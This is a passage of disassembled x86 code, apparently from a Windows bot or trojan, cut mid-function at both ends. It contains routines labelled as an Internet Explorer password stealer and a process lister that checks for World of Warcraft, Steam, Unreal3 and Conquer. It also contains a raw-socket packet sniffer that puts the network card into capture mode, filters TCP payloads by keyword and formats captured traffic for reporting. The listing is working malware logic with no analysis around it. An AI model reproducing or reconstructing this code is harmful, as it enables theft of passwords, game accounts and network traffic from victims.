		push	eax
		call	dword ptr [ecx+8]


loc_415A54:				; CODE XREF: sub_414EF4+B4Cj
		jmp	loc_4150CB
; ---------------------------------------------------------------------------


loc_415A59:				; CODE XREF: sub_414EF4+20Ej
					; sub_414EF4+220j
		mov	al, [ebp-0A14h]
		mov	[ebp-0A54h], al
		push	3E8h
		call	dword_41709C	; Sleep
		push	dword ptr [ebp-214h]
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D34C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD8h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_415ABB
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415ABB:				; CODE XREF: sub_414EF4+BB9j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_415ADA
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415ADA:				; CODE XREF: sub_414EF4+BD2j
		mov	eax, [ebp-0FD8h]


loc_415AE0:				; CODE XREF: sub_414EF4+B9j
					; sub_414EF4+19Cj
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		leave
		retn	4
sub_414EF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AF0	proc near		; CODE XREF: sub_40A9CF+7Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_41DE80, 0
		jnz	short loc_415AFF
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415AFF:				; CODE XREF: sub_415AF0+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415B15
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415B15:				; CODE XREF: sub_415AF0+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aInternetExplor ; "Internet explorer password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414EF4
		call	sub_4095A4
		add	esp, 10h

locret_415B3D:				; CODE XREF: sub_415AF0+Dj
					; sub_415AF0+23j
		leave
		retn
sub_415AF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B3F	proc near		; CODE XREF: .data:00416FB6p
					; .data:00416FBFp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short locret_415B5E
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

locret_415B5E:				; CODE XREF: sub_415B3F+Dj
		leave
		retn
sub_415B3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B60	proc near		; DATA XREF: sub_415DFD+35o

var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= dword	ptr -5C4h
var_5C0		= dword	ptr -5C0h
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_41C		= byte ptr -41Ch
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5B8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_5C4], 0
		and	[ebp+var_410], 0
		and	[ebp+var_40C], 0
		and	[ebp+var_408], 0
		and	[ebp+var_404], 0
		and	[ebp+var_5BC], 0
		jmp	short loc_415BC2
; ---------------------------------------------------------------------------


loc_415BB5:				; CODE XREF: sub_415B60:loc_415C50j
		mov	eax, [ebp+var_5BC]
		inc	eax
		mov	[ebp+var_5BC], eax


loc_415BC2:				; CODE XREF: sub_415B60+53j
		cmp	[ebp+var_5BC], 0FFFFh
		jnb	loc_415C55
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+var_5BC]
		call	dword_4171E4	; GetWindowTextA
		push	7
		push	offset aUnreal3	; "Unreal3"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415C0E
		mov	[ebp+var_410], 1


loc_415C0E:				; CODE XREF: sub_415B60+A2j
		push	offset aWorldOfWarcraf ; "World	Of Warcraft"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C2F
		mov	[ebp+var_408], 1


loc_415C2F:				; CODE XREF: sub_415B60+C3j
		push	offset aConquer	; "[Conquer]"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C50
		mov	[ebp+var_404], 1


loc_415C50:				; CODE XREF: sub_415B60+E4j
		jmp	loc_415BB5
; ---------------------------------------------------------------------------


loc_415C55:				; CODE XREF: sub_415B60+6Cj
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415C88
		mov	[ebp+var_5C4], 1


loc_415C88:				; CODE XREF: sub_415B60+11Cj
		push	[ebp+var_5C0]
		call	dword_417028	; RegCloseKey
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareValveS ; "Software\\Valve\\Steam"
		push	80000001h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415CC7
		mov	[ebp+var_40C], 1


loc_415CC7:				; CODE XREF: sub_415B60+15Bj
		push	[ebp+var_5C0]
		call	dword_417028	; RegCloseKey
		movsx	eax, [ebp+var_41C]
		test	eax, eax
		jz	short loc_415D1E
		cmp	[ebp+var_410], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_5C4], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_40C], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_408], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_404], 0
		jnz	short loc_415D1E
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_415DF9
; ---------------------------------------------------------------------------


loc_415D1E:				; CODE XREF: sub_415B60+17Cj
					; sub_415B60+185j ...
		cmp	[ebp+var_404], 0
		jz	short loc_415D33
		mov	[ebp+var_5C8], offset aYes ; "Yes"
		jmp	short loc_415D3D
; ---------------------------------------------------------------------------


loc_415D33:				; CODE XREF: sub_415B60+1C5j
		mov	[ebp+var_5C8], offset aNo ; "No"


loc_415D3D:				; CODE XREF: sub_415B60+1D1j
		cmp	[ebp+var_408], 0
		jz	short loc_415D52
		mov	[ebp+var_5CC], offset aYes ; "Yes"
		jmp	short loc_415D5C
; ---------------------------------------------------------------------------


loc_415D52:				; CODE XREF: sub_415B60+1E4j
		mov	[ebp+var_5CC], offset aNo ; "No"


loc_415D5C:				; CODE XREF: sub_415B60+1F0j
		cmp	[ebp+var_40C], 0
		jz	short loc_415D71
		mov	[ebp+var_5D0], offset aYes ; "Yes"
		jmp	short loc_415D7B
; ---------------------------------------------------------------------------


loc_415D71:				; CODE XREF: sub_415B60+203j
		mov	[ebp+var_5D0], offset aNo ; "No"


loc_415D7B:				; CODE XREF: sub_415B60+20Fj
		cmp	[ebp+var_5C4], 0
		jz	short loc_415D90
		mov	[ebp+var_5D4], offset aYes ; "Yes"
		jmp	short loc_415D9A
; ---------------------------------------------------------------------------


loc_415D90:				; CODE XREF: sub_415B60+222j
		mov	[ebp+var_5D4], offset aNo ; "No"


loc_415D9A:				; CODE XREF: sub_415B60+22Ej
		cmp	[ebp+var_410], 0
		jz	short loc_415DAF
		mov	[ebp+var_5D8], offset aYes ; "Yes"
		jmp	short loc_415DB9
; ---------------------------------------------------------------------------


loc_415DAF:				; CODE XREF: sub_415B60+241j
		mov	[ebp+var_5D8], offset aNo ; "No"


loc_415DB9:				; CODE XREF: sub_415B60+24Dj
		push	[ebp+var_5C8]
		push	[ebp+var_5CC]
		push	[ebp+var_5D0]
		push	[ebp+var_5D4]
		push	[ebp+var_5D8]
		push	offset dword_41D5CC
		lea	eax, [ebp+var_5B4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_415DF9:				; CODE XREF: sub_415B60+1B9j
		leave
		retn	4
sub_415B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DFD	proc near		; CODE XREF: sub_40A9CF+12FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415E17
		jmp	short locret_415E3F
; ---------------------------------------------------------------------------


loc_415E17:				; CODE XREF: sub_415DFD+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingInteres ; "Listing interesting processes"
		push	0
		push	[ebp+var_4]
		push	offset sub_415B60
		call	sub_4095A4
		add	esp, 10h

locret_415E3F:				; CODE XREF: sub_415DFD+18j
		leave
		retn
sub_415DFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E41	proc near		; CODE XREF: sub_415EB7+37p
					; sub_415EB7+59p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_415E52
; ---------------------------------------------------------------------------


loc_415E4B:				; CODE XREF: sub_415E41+69j
					; sub_415E41:loc_415EB1j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_415E52:				; CODE XREF: sub_415E41+8j
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_415EB3
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EB1
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4+4], 0
		jz	short loc_415EAC
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EAC
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EAC:				; CODE XREF: sub_415E41+49j
					; sub_415E41+67j
		push	1
		pop	eax
		jmp	short locret_415EB5
; ---------------------------------------------------------------------------


loc_415EB1:				; CODE XREF: sub_415E41+3Aj
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EB3:				; CODE XREF: sub_415E41+1Dj
		xor	eax, eax

locret_415EB5:				; CODE XREF: sub_415E41+6Ej
		leave
		retn
sub_415E41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EB7	proc near		; CODE XREF: sub_415F69+420p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		jz	short loc_415EDD
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EDD
		push	1
		pop	eax
		jmp	loc_415F67
; ---------------------------------------------------------------------------


loc_415EDD:				; CODE XREF: sub_415EB7+7j
					; sub_415EB7+1Cj
		cmp	[ebp+arg_8], 1
		jb	short loc_415EFF
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D6FC
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EFF
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415EFF:				; CODE XREF: sub_415EB7+2Aj
					; sub_415EB7+41j
		cmp	[ebp+arg_8], 2
		jb	short loc_415F21
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D758
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F21
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: sub_415EB7+4Cj
					; sub_415EB7+63j
		cmp	[ebp+arg_8], 3
		jb	short loc_415F43
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D7CC
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F43
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F43:				; CODE XREF: sub_415EB7+6Ej
					; sub_415EB7+85j
		cmp	[ebp+arg_8], 4
		jb	short loc_415F65
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D810
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F65
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F65:				; CODE XREF: sub_415EB7+90j
					; sub_415EB7+A7j
		xor	eax, eax


loc_415F67:				; CODE XREF: sub_415EB7+21j
					; sub_415EB7+46j ...
		pop	ebp
		retn
sub_415EB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F69	proc near		; DATA XREF: sub_41665C+A6o

var_19B8	= dword	ptr -19B8h
var_19B4	= byte ptr -19B4h
var_18B4	= dword	ptr -18B4h
var_18B0	= byte ptr -18B0h
var_17B0	= dword	ptr -17B0h
var_17AC	= dword	ptr -17ACh
var_17A8	= byte ptr -17A8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= byte ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= dword	ptr -1614h
var_1610	= dword	ptr -1610h
var_160C	= byte ptr -160Ch
var_140C	= byte ptr -140Ch
var_127E	= byte ptr -127Eh
var_1278	= byte ptr -1278h
var_1274	= byte ptr -1274h
var_1268	= word ptr -1268h
var_1264	= byte ptr -1264h
var_1263	= byte ptr -1263h
var_125C	= dword	ptr -125Ch
var_1258	= word ptr -1258h
var_1254	= byte ptr -1254h
var_1154	= dword	ptr -1154h
var_1150	= dword	ptr -1150h
var_114C	= byte ptr -114Ch
var_114B	= byte ptr -114Bh
var_104C	= dword	ptr -104Ch
var_1048	= word ptr -1048h
var_1044	= dword	ptr -1044h
var_1038	= byte ptr -1038h
var_1037	= byte ptr -1037h
var_1030	= byte ptr -1030h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 19B8h
		call	sub_416BC0
		push	edi
		push	3ABh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1614]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movsx	eax, [ebp+var_160C]
		neg	eax
		sbb	eax, eax
		lea	ecx, [ebp+var_160C]
		and	eax, ecx
		mov	[ebp+var_1624],	eax
		push	0
		push	3
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_104C],	eax
		cmp	[ebp+var_104C],	0FFFFFFFFh
		jnz	short loc_415FDE
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_415FDE:				; CODE XREF: sub_415F69+60j
		push	0FFh
		lea	eax, [ebp+var_1254]
		push	eax
		call	dword_417260	; gethostname
		lea	eax, [ebp+var_1254]
		push	eax
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_1154],	eax
		cmp	[ebp+var_1154],	0
		jnz	short loc_41602B
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_41602B:				; CODE XREF: sub_415F69+A1j
		push	10h
		push	0
		lea	eax, [ebp+var_1048]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_1048],	2
		mov	eax, [ebp+var_1154]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1044],	eax
		push	10h
		lea	eax, [ebp+var_1048]
		push	eax
		push	[ebp+var_104C]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416093
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_416093:				; CODE XREF: sub_415F69+109j
		mov	[ebp+var_1150],	1
		push	0
		push	0
		lea	eax, [ebp+var_1620]
		push	eax
		push	0
		push	0
		push	4
		lea	eax, [ebp+var_1150]
		push	eax
		push	98000001h
		push	[ebp+var_104C]
		call	dword_41725C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4160EA
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_4160EA:				; CODE XREF: sub_415F69+160j
		lea	eax, [ebp+var_1030]
		mov	[ebp+var_161C],	eax
		and	[ebp+var_1628],	0
		and	[ebp+var_4], 0
		push	[ebp+var_1610]
		mov	eax, [ebp+var_1614]
		push	dword ptr [eax]
		push	offset unk_41D9DC
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1274],	0
		and	[ebp+var_114C],	0
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_114B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_1264],	0
		xor	eax, eax
		lea	edi, [ebp+var_1263]
		stosd
		stosb
		lea	eax, [ebp+var_114C]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4044F7
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4045B2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_114C]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_1618],	eax
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1268],	ax
		and	[ebp+var_1038],	0
		xor	eax, eax
		lea	edi, [ebp+var_1037]
		stosd
		stosb
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_404552
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_1044]
		mov	[ebp+var_125C],	eax
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1258],	ax


loc_4161E6:				; CODE XREF: sub_415F69+305j
					; sub_415F69+33Aj ...
		push	0
		push	1028h
		lea	eax, [ebp+var_1030]
		push	eax
		push	[ebp+var_104C]
		call	dword_417248	; recv
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_416217
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_416217:				; CODE XREF: sub_415F69+2A7j
		cmp	[ebp+var_17AC],	0FFFFFFFFh
		jz	short loc_416229
		cmp	[ebp+var_17AC],	0
		jnz	short loc_41622E


loc_416229:				; CODE XREF: sub_415F69+2B5j
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_41622E:				; CODE XREF: sub_415F69+2BEj
		mov	eax, [ebp+var_17AC]
		and	[ebp+eax+var_1030], 0
		mov	eax, [ebp+var_161C]
		mov	al, [eax]
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_161C]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_1628],	eax
		mov	eax, [ebp+var_1628]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_416273
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416273:				; CODE XREF: sub_415F69+303j
		mov	eax, [ebp+var_1628]
		mov	al, [eax+0Ch]
		shr	al, 4
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_1628]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_4162A8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162A8:				; CODE XREF: sub_415F69+338j
		push	[ebp+var_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_161C]
		movzx	eax, byte ptr [eax+9]
		cmp	eax, 6
		jnz	loc_416632
		movsx	eax, [ebp+var_127E]
		test	eax, eax
		jz	short loc_4162EB
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_125C]
		jz	short loc_4162EB
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162EB:				; CODE XREF: sub_415F69+36Aj
					; sub_415F69+37Bj
		movsx	eax, [ebp+var_1278]
		test	eax, eax
		jz	short loc_41630C
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jz	short loc_41630C
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: sub_415F69+38Bj
					; sub_415F69+39Cj
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		movzx	ecx, [ebp+var_1258]
		cmp	eax, ecx
		jnz	short loc_416340
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jnz	short loc_416340
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416340:				; CODE XREF: sub_415F69+3BFj
					; sub_415F69+3D0j
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		movzx	ecx, [ebp+var_1268]
		cmp	eax, ecx
		jnz	short loc_416374
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_1618]
		jnz	short loc_416374
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416374:				; CODE XREF: sub_415F69+3F3j
					; sub_415F69+404j
		push	[ebp+var_1624]
		push	[ebp+var_1610]
		push	[ebp+var_17AC]
		push	[ebp+var_4]
		call	sub_415EB7
		add	esp, 10h
		test	eax, eax
		jz	loc_416632
		and	[ebp+var_19B8],	0
		jmp	short loc_4163AF
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: sub_415F69:loc_416413j
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax


loc_4163AF:				; CODE XREF: sub_415F69+437j
		mov	eax, [ebp+var_19B8]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416415
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_4163DA
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Dh


loc_4163DA:				; CODE XREF: sub_415F69+463j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_4163F7
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	3Eh


loc_4163F7:				; CODE XREF: sub_415F69+480j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_416413
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Eh


loc_416413:				; CODE XREF: sub_415F69+49Cj
		jmp	short loc_4163A2
; ---------------------------------------------------------------------------


loc_416415:				; CODE XREF: sub_415F69+452j
		and	[ebp+var_19B8],	0
		mov	eax, [ebp+var_19B8]
		mov	[ebp+var_17AC],	eax
		jmp	short loc_416437
; ---------------------------------------------------------------------------


loc_41642A:				; CODE XREF: sub_415F69+507j
					; sub_415F69+51Aj ...
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax


loc_416437:				; CODE XREF: sub_415F69+4BFj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41645F
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_4164AA
; ---------------------------------------------------------------------------


loc_41645F:				; CODE XREF: sub_415F69+4DCj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jl	short loc_416472
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416472:				; CODE XREF: sub_415F69+505j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jg	short loc_416485
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416485:				; CODE XREF: sub_415F69+518j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_17AC]
		inc	eax
		mov	[ebp+var_17AC],	eax
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_4164AA:				; CODE XREF: sub_415F69+4F4j
		cmp	[ebp+var_17AC],	0
		jnz	short loc_4164B8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4164B8:				; CODE XREF: sub_415F69+548j
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+0Ch]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+10h]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_1628]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		push	offset dword_41D9A8
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	[ebp+var_18B4],	eax
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		push	eax
		push	[ebp+var_4]
		mov	eax, [ebp+var_18B4]
		lea	eax, [ebp+eax+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4165AD
		jmp	loc_416655
; ---------------------------------------------------------------------------


loc_4165AD:				; CODE XREF: sub_415F69+63Dj
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		dec	eax
		mov	[ebp+var_17B0],	eax


loc_4165BF:				; CODE XREF: sub_415F69+6C7j
		mov	eax, [ebp+var_17B0]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416632
		push	180h
